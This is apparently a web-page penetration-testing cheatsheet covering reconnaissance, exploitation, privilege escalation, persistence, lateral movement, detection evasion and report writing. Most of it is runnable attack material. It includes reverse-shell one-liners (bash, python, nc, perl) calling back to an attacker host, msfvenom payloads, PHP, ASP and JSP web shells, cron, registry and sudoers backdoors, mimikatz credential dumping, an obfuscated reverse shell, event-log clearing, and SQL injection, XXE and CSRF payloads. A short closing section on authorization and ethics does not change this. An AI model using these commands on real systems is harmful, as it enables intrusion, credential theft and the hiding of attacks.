Ir al contenido

Pentesting Cheatsheet

Complete penetration testing methodology from initial reconnaissance through post-exploitation. Covers tools, commands, and workflows for network testing, vulnerability assessment, exploitation, privilege escalation, and persistence.

Phase 1: Reconnaissance

Passive Information Gathering

# DNS enumeration
nslookup target.com
dig target.com
dig target.com +trace

# Reverse DNS lookup
dig -x 192.168.1.1
host 192.168.1.1

# WHOIS information
whois target.com
whois -h whois.arin.net 192.168.1.0

# Zone transfer attempt
dig @ns1.target.com target.com axfr

# Subdomain enumeration
subfinder -d target.com
assetfinder --subs-only target.com
amass enum -d target.com

# Public database searches
# Google Dorking
site:target.com
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com inurl:login

# Shodan
# https://www.shodan.io
# Search by organization, city, open ports

# GitHub enumeration
# Search for credentials, API keys, code
github-subdomains.py -d target.com
gitleaks -v --repo-path target-repo

Reconnaissance Automation

# Comprehensive osint gathering
python3 theHarvester -d target.com -b all -t -n

# Information extraction from website
python3 -m scapy
# Extract emails, subdomains, IP ranges from SSL certs
echo | openssl s_client -servername target.com -connect target.com:443 -showcerts

# Continuous scanning
recon-ng
> use reconnaissance/hosts
> set SOURCE target.com

Phase 2: Scanning & Enumeration

Network Scanning

# Host discovery
nmap -sn 192.168.1.0/24              # Ping sweep
nmap -sn 192.168.1.1-254             # Range scan
nmap --script smb-os-discovery.nse 192.168.1.0/24

# Port scanning
nmap -p- target.com                  # All ports
nmap -p- -sV -sC target.com          # Service version + scripts
nmap -p 80,443,22 -sV target.com     # Specific ports
nmap -p- --open target.com           # Only open ports
nmap -sU -p 53,123,161 target.com    # UDP scan

# OS fingerprinting
nmap -O target.com
nmap --script smb-os-discovery.nse target.com

# Aggressive scan
nmap -A -T4 target.com

# Scanning through firewall
nmap -sF target.com                  # FIN scan
nmap -sN target.com                  # Null scan
nmap -sX target.com                  # Xmas scan
nmap -sA target.com                  # ACK scan

# Masscan for speed
masscan -p1-65535 -R 10Mbps 192.168.1.0/24

Service Enumeration

# HTTP/HTTPS
nmap -p 80,443 --script http-enum.nse target.com
nikto -h target.com
dirb http://target.com /usr/share/dirb/wordlists/common.txt
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

# SMB enumeration
nmap -p 445 --script smb-enum* target.com
smbclient -L //target.com -N
crackmapexec smb target.com -u '' -p ''

# DNS enumeration
dnsrecon -d target.com -t axfr
dnsenum target.com
ldapsearch -x -h target.com -b "dc=target,dc=com"

# SNMP enumeration
snmpwalk -c public -v 1 target.com
snmpenum -t target.com -c public

# FTP enumeration
nmap -p 21 --script ftp-anon.nse target.com

# LDAP enumeration
ldapsearch -x -H ldap://target.com -b ""

Phase 3: Vulnerability Assessment

Web Application Testing

# SQLi detection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/login" --data="user=admin&pass=1" -p pass --dbs

# XSS detection
python3 xsstrike.py -u "http://target.com/search?q=test"
# Manual: <script>alert('XSS')</script>

# CSRF detection
nmap -p 80,443 --script http-csrf.nse target.com

# Path traversal
# Test: /../../etc/passwd
# Test: ..%2F..%2Fetc%2Fpasswd

# Command injection
# Test: ; whoami
# Test: | id
# Test: `whoami`
# Test: $(whoami)

# SSRF detection
# Test internal IPs: 127.0.0.1, 192.168.x.x, 10.x.x.x
# Test metadata endpoints: http://169.254.169.254/

# API testing
burpsuite
zaproxy
# Fuzzing: ffuf, wfuzz
wfuzz -c -z file,/usr/share/wordlists/rockyou.txt -d "user=admin&pass=FUZZ" http://target.com/login

# Authentication bypass
hydra -l admin -P /usr/share/wordlists/rockyou.txt http://target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

Vulnerability Scanning

# OpenVAS
# Full vulnerability assessment with authenticated scanning

# Nessus
# Requires license, comprehensive vulnerability database

# Qualys
# Cloud-based, includes threat intelligence

# Local scanning tools
# Identify weak configurations in services discovered

Credential Testing

# Default credentials
hydra -C /usr/share/wordlists/default-credentials.txt ssh://target.com
hydra -C /usr/share/wordlists/default-credentials.txt ftp://target.com

# Brute force SSH
hydra -l admin -P rockyou.txt ssh://target.com -t 4

# Brute force HTTP
hydra -l admin -P rockyou.txt http-post-form "target.com:80/login:user=^USER^&pass=^PASS^:F=Invalid"

# Test for weak/default passwords
# admin/admin, admin/password, root/root, etc.

Phase 4: Exploitation

Metasploit Framework

# Start msfconsole
msfconsole

# Search exploits
search windows/smb/ms17_010
search type:exploit platform:windows

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set LPORT 4444
exploit

# Generate payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell

Manual Exploitation

# RCE via command injection
# Vulnerable: http://target.com/cmd.php?exec=whoami
curl "http://target.com/cmd.php?exec=$(whoami)"

# RCE via upload + include
# Upload webshell, then include via LFI
# Webshell: <?php system($_GET['cmd']); ?>

# Reverse shell generation
# Bash:
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1

# Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.50",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# One-liners
nc -e /bin/bash 192.168.1.50 4444
perl -e 'use Socket;$i="192.168.1.50";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i")};'

Web Shell Upload

# PHP Shell
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>

# ASP Shell
<%
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec(Request.QueryString("cmd"))
Response.Write objExec.StdOut.ReadAll()
%>

# JSP Shell
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = br.readLine()) != null) {
    out.println(line);
}
%>

# Upload techniques
# Bypass restrictions: .php.jpg, .phtml, .php7, double extension

Phase 5: Post-Exploitation

Privilege Escalation

Linux

# Check current user and groups
id
groups
sudo -l  # What can current user run as root?

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for unpatched vulnerabilities
uname -a
cat /etc/os-release

# Exploit SUID binary (example: vim with modifiable vimrc)
sudo -u root vim -c '!bash' /etc/hostname

# Kernel exploits
searchsploit Linux kernel 5.4.0

# Writable /etc/sudoers
echo "current_user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# Writable scripts in /etc/init.d/
ls -la /etc/init.d/

# Cron job exploitation
cat /etc/crontab
ls -la /var/spool/cron/

# Password in environment
env | grep -i pass
ps aux | grep -i pass

Windows

# Check privileges
whoami /priv

# Get system info
systeminfo
Get-WmiObject win32_operatingsystem | Select-Object version,buildnumber

# Check for unpatched vulnerabilities
wmic qfe list brief

# Escalate via UAC bypass
# Use: bypassuac.exe, eventvwr.exe, fodhelper.exe

# Impersonate users
incognito list_tokens -u

# Kerberos exploitation
GetUserSPNs.py -request -dc-ip 192.168.1.1 DOMAIN.COM/user

# Golden ticket (Domain Admin required)
GetTGT.py DOMAIN.COM/user:password
export KRB5CCNAME=user.ccache
psexec.py -k target.com

Persistence Mechanisms

# Linux: Cron job persistence
echo "* * * * * /path/to/backdoor.sh" | crontab -

# Linux: Modify SSH authorized_keys
echo "ssh-rsa AAAA...public_key..." >> ~/.ssh/authorized_keys

# Windows: Registry RunKey
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"

# Windows: Task Scheduler
schtasks /create /tn backdoor /tr "C:\path\to\backdoor.exe" /sc daily /st 12:00

# Web application: Database persistence
# Add new admin user directly to users table

Phase 6: Lateral Movement

Network Pivoting

# Identify internal network ranges
ipconfig /all  # Windows
ip addr       # Linux

# Find other targets
arp -a        # ARP cache
netstat -ano | findstr ESTABLISHED  # Network connections

# Port forwarding to access internal services
ssh -L 3306:internal-db:3306 user@pivot-host
# Access via: localhost:3306

# Socks proxy for internal network access
ssh -D 9999 user@pivot-host
# Configure proxy in burpsuite/browser for internal access

# Tool usage through pivot
proxychains nmap -p 22,80,443 192.168.1.0/24

Pass-the-Hash / Pass-the-Ticket

# Windows: Pass-the-Hash
# Extract hashes (requires SYSTEM):
secretsdump.py -sam SAM -system SYSTEM local

# Use hash for authentication
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9e13b618ce15cbe9dcb5dfb9db0ab71e user@target.com

# Kerberos: Golden Ticket
# Create domain admin ticket
GetTGT.py DOMAIN.COM/user:password
# Use ticket
export KRB5CCNAME=user.ccache

Credential Dumping

# Windows: LSASS dump
# Via Mimikatz (requires elevated)
invoke-mimikatz -Command '"sekurlsa::logonpasswords"'

# Windows: Registry hive dump
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system

# Linux: /etc/shadow access
cat /etc/shadow  # If accessible

# Linux: SSH keys
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys

# Memory dumps
# dump process memory containing credentials

Detection Evasion

Obfuscation Techniques

# Reverse shell obfuscation
# Original: bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
# Obfuscated:
bash -i >& /dev/t*p/$((192*256*256+168*256+1))/4444 0>&1

# Command encoding
# Base64
echo "whoami" | base64  # d2hvYW1pCg==
echo "d2hvYW1pCg==" | base64 -d | bash

# Environment variable substitution
cmd=$'whoami'
$cmd

# Inline execution
$(echo 'd2hvYW1pCg==' | base64 -d)

Log Evasion

# Clear bash history
history -c
cat /dev/null > ~/.bash_history

# Clear event logs (Windows)
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Disable logging
# Linux: comment out in syslog config
# Windows: Set event log size to 1MB to auto-clear

# Cover tracks
# Delete temp files
shred -vfz -n 3 /path/to/file

# Clear memory artifacts
# Linux tools: volatility, mimikatz

Network Evasion

# Use DNS tunneling
iodine -f tunnel.log ns.victim.com
# Sends data through DNS queries

# Use HTTPS/SSL
# Encrypt communication channel
# Use self-signed certificates

# Port rotation
# Change ports frequently to avoid detection

# Proxy chaining
# Route traffic through multiple proxies

Automated Reconnaissance & Scanning

Full Penetration Test Automation

#!/bin/bash
# Automated pentest framework script

TARGET=$1
OUTPUT_DIR="results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

echo "[*] Starting reconnaissance on $TARGET"

# Phase 1: Reconnaissance
echo "[*] Phase 1: Passive Recon"
whois $TARGET > $OUTPUT_DIR/whois.txt
dig +trace $TARGET > $OUTPUT_DIR/dig.txt
subfinder -d $TARGET -o $OUTPUT_DIR/subdomains.txt

# Phase 2: Scanning
echo "[*] Phase 2: Network Scanning"
nmap -p- -sV $TARGET -oX $OUTPUT_DIR/nmap.xml
nmap -p- -A $TARGET -oN $OUTPUT_DIR/nmap_aggressive.txt

# Phase 3: Web Enumeration
echo "[*] Phase 3: Web Application Testing"
nikto -h http://$TARGET -o $OUTPUT_DIR/nikto.txt
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o $OUTPUT_DIR/gobuster.txt

# Phase 4: Vulnerability Assessment
echo "[*] Phase 4: Vulnerability Assessment"
searchsploit --json > $OUTPUT_DIR/exploits.json

# Phase 5: Generate Report
echo "[*] Phase 5: Report Generation"
cat $OUTPUT_DIR/* > $OUTPUT_DIR/FULL_REPORT.txt

echo "[+] Penetration test complete. Results in: $OUTPUT_DIR"

Multi-tool Orchestration

#!/usr/bin/env python3
"""Orchestrate multiple pentesting tools"""

import subprocess
import json
from pathlib import Path
from datetime import datetime

class PentestOrchestrator:
    def __init__(self, target, output_dir):
        self.target = target
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(exist_ok=True)
        self.results = {}

    def run_nmap(self):
        """Execute comprehensive Nmap scan"""
        output = self.output_dir / "nmap.xml"
        cmd = ["nmap", "-p-", "-sV", "-A", self.target, f"-oX {output}"]
        subprocess.run(cmd, shell=True)
        self.results['nmap'] = str(output)

    def run_subfinder(self):
        """Enumerate subdomains"""
        output = self.output_dir / "subdomains.txt"
        cmd = ["subfinder", "-d", self.target, f"-o {output}"]
        subprocess.run(cmd, shell=True)
        self.results['subfinder'] = str(output)

    def run_gobuster(self):
        """Brute force directories"""
        output = self.output_dir / "gobuster.txt"
        cmd = ["gobuster", "dir", "-u", f"http://{self.target}",
               "-w", "/usr/share/wordlists/dirb/common.txt", f"-o {output}"]
        subprocess.run(cmd, shell=True)
        self.results['gobuster'] = str(output)

    def run_all(self):
        """Execute full recon"""
        self.run_nmap()
        self.run_subfinder()
        self.run_gobuster()
        return self.results

# Usage
orchestrator = PentestOrchestrator("target.com", "pentests/target_20250330")
results = orchestrator.run_all()
print(json.dumps(results, indent=2))

Report Writing & Documentation

Vulnerability Report Template

# Penetration Test Report

## Executive Summary
- Scope: [Target systems]
- Test Period: [Date range]
- Severity: [Critical/High/Medium/Low]
- Total Vulnerabilities: [Count]

## Methodology
1. Reconnaissance
2. Scanning
3. Vulnerability Assessment
4. Exploitation
5. Post-Exploitation

## Findings Summary
| Risk | Count |
|------|-------|
| Critical | X |
| High | X |
| Medium | X |
| Low | X |

## Detailed Findings

### Finding 1: SQL Injection
- **Severity**: High
- **Location**: /api/users?id=1
- **Description**: Application is vulnerable to SQL injection
- **Proof of Concept**: `1' OR '1'='1`
- **Impact**: Unauthorized database access, data theft
- **Remediation**: Use parameterized queries, input validation

### Finding 2: Weak Password Policy
- **Severity**: Medium
- **Location**: Authentication system
- **Description**: Passwords are 4+ characters with no complexity requirements
- **Proof of Concept**: Account 'admin' accepted password 'pass'
- **Impact**: Brute force attacks, unauthorized access
- **Remediation**: Enforce strong password policy, minimum 12 chars, complexity requirements

Metrics & KPIs

# Vulnerability count by severity
grep -i "severity" report.md | sort | uniq -c

# Mean time to remediation (MTTR)
# Days since findings reported to remediation

# Successful exploitation rate
# Percentage of vulnerabilities successfully exploited

# Coverage percentage
# Percentage of systems/applications tested

Common Attack Patterns

Web Application Attacks

# Cross-Site Scripting (XSS)
# Stored: Save malicious script to database
# Reflected: Include script in URL
# DOM: Modify DOM dynamically with user input

# SQL Injection
' OR '1'='1'--
'; DROP TABLE users--
' UNION SELECT username, password FROM users--

# CSRF
# Make user perform unintended action
<img src="http://bank.com/transfer?to=attacker&amount=1000">

# IDOR (Insecure Direct Object Reference)
# Access /api/user/2 by changing /api/user/1 ID

# SSRF
# http://localhost:8080/admin
# http://169.254.169.254/latest/meta-data/

# XXE (XML External Entity)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

Authentication Bypass

# Default credentials
admin/admin, admin/password, root/root, guest/guest

# Weak password recovery
# Predictable security questions
# Weak token generation

# Session hijacking
# Cookie theft, session fixation, weak session tokens

# Broken JWT
# No signature verification
# Weak secret key
# Algorithm confusion: HS256 vs RS256

API Security Issues

# Missing rate limiting
# Brute force API endpoints

# API key in URL
# /api/data?apikey=secret
# Exposed in logs, browser history

# Lack of TLS
# Man-in-the-middle attacks on unencrypted APIs

# Excessive data exposure
# API returns unnecessary sensitive data

Authorization & Scope

  • Only test systems you are authorized to test
  • Obtain signed scope document before starting
  • Test only identified targets and IP ranges
  • Do not test systems outside of authorized scope
  • Document all authorized testing targets
  • Set clear testing windows/timeframes

Reporting Responsibly

  • Report findings through proper channels
  • Avoid public disclosure of vulnerabilities
  • Give vendors reasonable time to patch
  • Provide clear remediation guidance
  • Include positive findings in reports
  • Maintain confidentiality of findings
  • Comply with Computer Fraud and Abuse Act (CFAA)
  • Follow industry regulations (PCI-DSS, HIPAA, etc.)
  • Understand privacy laws (GDPR, CCPA)
  • Maintain written testing agreements
  • Document all activities thoroughly
  • Preserve evidence properly

Resources

Pentesting Frameworks

Tools & Resources

Certifications

  • CEH (Certified Ethical Hacker)
  • OSCP (Offensive Security Certified Professional)
  • GWAPT (GIAC Web Application Penetration Tester)
  • GSEC (GIAC Security Essentials)

Last updated: 2025-03-30